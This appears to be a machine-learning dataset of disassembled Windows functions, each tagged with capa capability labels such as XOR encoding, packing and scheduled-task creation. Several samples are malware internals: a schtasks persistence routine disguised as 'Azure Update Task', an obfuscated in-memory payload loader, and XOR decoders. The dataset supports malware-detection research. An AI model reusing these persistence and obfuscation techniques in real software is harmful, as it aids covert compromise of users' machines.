joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x403203
pop dword [ebp - 0x34]
mov eax, 0x49e60f2d
add eax, 0xb65a22d6
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xcabdab5b
sub dword [ebp - 0x44], 0x7c6b6610
mov dword [ebp - 0x40], 0x4d15172b
sub dword [ebp - 0x40], 0x1ae1cae6
mov dword [ebp - 0x3c], 0x8508d504
add dword [ebp - 0x3c], 0xc7436f2a
mov dword [ebp - 0x38], 0x8c1d9597
sub dword [ebp - 0x38], 0x8c1d9597
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x8facc1a
sub dword [ebp - 0x44], 0x948862c4
mov dword [ebp - 0x40], 0xc73dac99
sub dword [ebp - 0x40], 0x85d14b24
mov dword [ebp - 0x3c], 0x55f1d466
sub dword [ebp - 0x3c], 0xf28267fa
mov dword [ebp - 0x38], 0xb76763b3
sub dword [ebp - 0x38], 0xb76763b3
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x462afd60
sub eax, 0x45ea7c8c
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x350ad
push 0
call eax
mov ecx, 0x41cb
mov edi, eax
mov edx, 0x411000
add edx, dword [ebp - 0x34]
mov esi, 0x3068996f
sub esi, 0x2f6081e1
xor dword [ebp - 0x2c], ebx
mov ebx, dword [edx]
sub dword [ebp - 8], 0x9fbfb312
sub ebx, esi
xor dword [ebp - 0xc], eax
mov dword [edi], ebx
mov dword [ebp - 0x10], 0xf8caa09c
add edi, 4
add edx, 4
loop 0x403314
add eax, 0x51a980d
add eax, 0xfae661f2
mov ebx, eax
add eax, 0xfb44fbcf
sub eax, 0xfb44fbca
mov ecx, 0x1f93e333
sub ecx, 0x1f53e333
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x401339
Capabilities:
Create process on windows
Schedule task via schtasks

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
push 0x44
pop edi
push edi
xor ebx, ebx
lea eax, [ebp - 0x58]
push ebx
push eax
mov esi, ecx
call dword [0x404028]
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x58], edi
push ebx
push eax
call dword [0x404028]
add esp, 0x18
push 0x308
push 0x40
call dword [0x404010]
mov edx, str._C__create__F__sc_minute__mo_1__tn__
mov dword [ebp - 4], eax
lea ecx, [ebp - 4]
call fcn.00401d2b
mov edx, str.Azure_Update_Task
lea ecx, [ebp - 4]
call fcn.00401d2b
mov edx, str.___tr__
lea ecx, [ebp - 4]
call fcn.00401d2b
mov edx, esi
lea ecx, [ebp - 4]
call fcn.00401d2b
mov edx, 0x403988
lea ecx, [ebp - 4]
call fcn.00401d2b
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push edi
push str.C:WindowsSystem32_schtasks.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4013ea
test edi, edi
je 0x4013e6
push edi
call dword [0x404030]
xor eax, eax
jmp 0x401413
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
test edi, edi
je 0x401410
push edi
call dword [0x404030]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401b12
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
call fcn.00401000
push str.M5_610HP_STAGE2
push 0
push 0
call dword [0x404040]
call dword [0x40402c]
cmp eax, 0xb7
jne 0x401b44
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401272
mov edi, dword [ebp - 0x18]
call fcn.00401ad6
xor ebx, ebx
mov dword [ebp - 4], eax
test eax, eax
je 0x401c71
push eax
call dword [0x404020]
lea esi, [eax + 1]
lea eax, [esi + esi]
push eax
push 0x40
mov dword [ebp - 0x18], eax
call dword [0x404010]
push dword [ebp - 4]
mov edx, esi
mov dword [ebp - 8], eax
mov ecx, eax
call fcn.00401418
mov ecx, dword [ebp - 4]
xor esi, esi
and dword [ebp - 0xc], ebx
movzx eax, word [ecx]
mov edx, eax
test ax, ax
je 0x401c55
mov dword [ebp - 0x10], ecx
movzx eax, dx
mov dword [ebp - 0x14], eax
movzx eax, dx
cmp eax, 0xa
je 0x401bf0
mov edx, 0xa0d
cmp ax, dx
je 0x401bf0
cmp eax, 0xd
je 0x401bf0
cmp eax, 0x20
je 0x401bf0
cmp eax, 9
je 0x401bf0
mov eax, dword [ebp - 0x14]
movzx eax, ax
test ebx, ebx
jne 0x401be9
push dword [ebp - 0x18]
push 0x40
call dword [0x404010]
mov ecx, dword [ebp - 4]
mov edi, eax
mov eax, dword [ebp - 0x10]
inc ebx
xor esi, esi
movzx eax, word [eax]
mov word [edi + esi*2], ax
inc esi
jmp 0x401c14
test ebx, ebx
je 0x401c14
xor eax, eax
lea ecx, [ebp - 8]
mov edx, edi
mov word [edi + esi*2], ax
xor ebx, ebx
call fcn.00401487
test edi, edi
je 0x401c11
push edi
call dword [0x404030]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
lea eax, [ecx + eax*2]
mov dword [ebp - 0x10], eax
movzx eax, word [eax]
mov edx, eax
test ax, ax
jne 0x401b9f
test ebx, ebx
je 0x401c55
push edi
call dword [0x404020]
xor ecx, ecx
mov edx, edi
mov word [edi + eax*2], cx
lea ecx, [ebp - 8]
call fcn.00401487
test edi, edi
je 0x401c55
push edi
call dword [0x404030]
push dword [ebp - 8]
call dword [0x404020]
mov ecx, dword [ebp - 8]
mov edx, eax
call fcn.00401a72
push dword [ebp - 8]
call dword [0x404030]
push 0xe1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401b4c
Function at 0x409130
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.qmpJQplM
lea edi, [esi - 0x7000]
push edi
or ebp, 0xffffffff
jmp 0x409152
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x409159
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x409148
mov eax, 1
add ebx, ebx
jne 0x40916b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x409160
jne 0x40917c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x409160
xor ecx, ecx
sub eax, 3
jb 0x409190
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x409202
mov ebp, eax
add ebx, ebx
jne 0x40919b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4091a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4091cc
inc ecx
add ebx, ebx
jne 0x4091b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4091ad
jne 0x4091c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4091ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4091ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4091dd
jmp 0x40914e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4091ec
add edi, ecx
jmp 0x40914e
pop esi
mov edi, esi
mov ecx, 5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40920a
cmp byte [edi], 0
jne 0x40920a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40920f
lea edi, [esi + 0x7000]
mov eax, dword [edi]
or eax, eax
je 0x40927e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa10c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa164]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40923c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa16c]
or eax, eax
je 0x409278
mov dword [ebx], eax
add ebx, 4
jmp 0x409259
call dword [esi + 0xa168]
mov ebp, dword [esi + 0xa170]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4092b2
sub esp, 0xffffff80
jmp 0x40124f

Function at 0x438c96
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x438a14
mov edx, esi
call fcn.00438cd7
and esi, edx
mov edx, 0xd23c94d4
dec esi
xor dword [ebx], ecx
add edx, 1
add edx, edx
sub edx, 0x556af2e2
inc ebx
and esi, edx
inc esi
sub esi, 0x20ae4fcd
cmp ebx, eax
jne fcn.00438c96
add esi, esi
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
push ebx
pop eax
and eax, 0x1f
push ebx
pop edx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
sub eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
push edx
pop eax
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
push eax
pop edi
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
push esi
pop eax
sub eax, edi
mov esi, eax
or eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
or eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..pdata
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1e9f3a30
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x4f480659
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x408948
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
and edi, edx
sub edi, 0x3d4fae79
call fcn.00408978
xor dword [eax], ecx
add eax, 1
sub edx, edx
dec edi
cmp eax, esi
jne fcn.00408948
mov edx, edi
ret
Function at 0x4013c5
Capabilities:
Encode data using xor

Disassembly:
jmp 0x4159d0
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x415b7a
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
sub byte [esi + ebx], 0x28
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x7b
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
xor byte [esi + ebx], 0x85
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x98
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x59
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
add esp, 0x44
push eax
call fcn.0040616d
add byte [esi + ebx], 0xe4
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0xdc
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x4e
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0xf5
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x40
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x1d
add esp, 0x40
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x29
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
xor byte [esi + ebx], 0xe6
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 7
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x9e
add esp, 0x30
inc esi
cmp esi, edi
jb 0x4159f0
pop ebx
pop edi
pop esi
ret

Function at 0x4035f3
Capabilities:
Terminate process

Disassembly:
jmp 0x453df9
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x453e0a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405948
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40371f
Capabilities:
Query environment variable

Disassembly:
jmp 0x49c842
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49c853
pop esi
ret
push ebx
push edi
push esi
call fcn.0049c729
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fe4
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49c87b
push ebx
push esi
push edi
call fcn.0040572c
add esp, 0xc
push 0
call fcn.004062b2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x496529
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x40
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00496480
add esp, 0xc
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x496558
mov eax, 0xea61
jmp 0x4965d6
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x3c], 0
jne 0x496568
mov eax, 0xea62
jmp 0x4965d6
push 0xf8
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0x10]
push eax
call fcn.00496480
add esp, 0xc
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0x4550
je 0x496595
mov eax, 0xea62
jmp 0x4965d6
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax + 4]
cmp ecx, 0x14c
je 0x4965ad
mov eax, 0xea65
jmp 0x4965d6
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax + 0x16]
test ch, 0x10
je 0x4965c2
mov eax, 0xea66
jmp 0x4965d6
mov eax, dword [ebp + 0x10]
cmp dword [eax + 0x74], 0x10
jbe 0x4965d2
mov eax, 0xea67
jmp 0x4965d6
xor eax, eax
jmp 0x4965d6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x422937
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00419b87
and dword [ebp - 4], 0
cmp dword [0x42ffe0], 0
mov ebx, eax
jne 0x4229e8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x422a99
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x422a99
push eax
call fcn.00419b15
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42ffe0], eax
call esi
push eax
call fcn.00419b15
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42ffe4], eax
call esi
push eax
call fcn.00419b15
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42ffe8], eax
call esi
push eax
call fcn.00419b15
pop ecx
mov dword [0x42fff0], eax
test eax, eax
je 0x4229e8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00419b15
pop ecx
mov dword [0x42ffec], eax
mov eax, dword [0x42ffec]
cmp eax, ebx
je 0x422a40
cmp dword [0x42fff0], ebx
je 0x422a40
push eax
call fcn.00419b90
push dword [0x42fff0]
mov esi, eax
call fcn.00419b90
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x422a40
test edi, edi
je 0x422a40
call esi
test eax, eax
je 0x422a37
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x422a37
test byte [ebp - 0xc], 1
jne 0x422a40
or dword [ebp + 0x10], 0x200000
jmp 0x422a79
mov eax, dword [0x42ffe4]
cmp eax, ebx
je 0x422a79
push eax
call fcn.00419b90
pop ecx
test eax, eax
je 0x422a79
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x422a79
mov eax, dword [0x42ffe8]
cmp eax, ebx
je 0x422a79
push eax
call fcn.00419b90
pop ecx
test eax, eax
je 0x422a79
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42ffe0]
call fcn.00419b90
pop ecx
test eax, eax
je 0x422a99
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x422a9b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x5c54a0a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x40a354c4
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x414b70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10000]
push edi
jmp 0x414b8a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414b91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414b80
mov eax, 1
add ebx, ebx
jne 0x414ba3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414b98
jne 0x414bb4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414b98
xor ecx, ecx
sub eax, 3
jb 0x414bc8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414c3a
mov ebp, eax
add ebx, ebx
jne 0x414bd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414be0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414c04
inc ecx
add ebx, ebx
jne 0x414bf0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414be5
jne 0x414c01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414be5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414c24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414c15
jmp 0x414b86
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414c24
add edi, ecx
jmp 0x414b86
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414c42
cmp byte [edi], 5
jne 0x414c42
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414c47
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414cbf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19be8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19c24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414c74
mov ecx, edi
jns 0x414ca3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19c2c]
or eax, eax
je 0x414cb9
mov dword [ebx], eax
add ebx, 4
jmp 0x414c91
call dword [esi + 0x19c28]
mov ebp, dword [esi + 0x19c30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414cf3
sub esp, 0xffffff80
jmp 0x401150

Function at 0xab730d
Capabilities:
Encode data using xor

Disassembly:
xor al, al
mov al, byte [edi]
xor al, bl
mov byte [edi], al
inc edi
cmp edi, ecx
jne fcn.00ab730d
ret

Function at 0x4738ac
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4735cc
mov ebx, ecx
push ecx
mov ecx, dword [esp]
add esp, 4
and ebx, ecx
call fcn.004738f2
add ebx, 0xd377ec5e
xor dword [edi], eax
mov ebx, 0x11543352
dec ebx
push ebx
mov ebx, dword [esp]
add esp, 4
add edi, 2
add ebx, 0xb50b1962
mov ecx, ebx
cmp edi, esi
jl fcn.004738ac
dec ebx
ret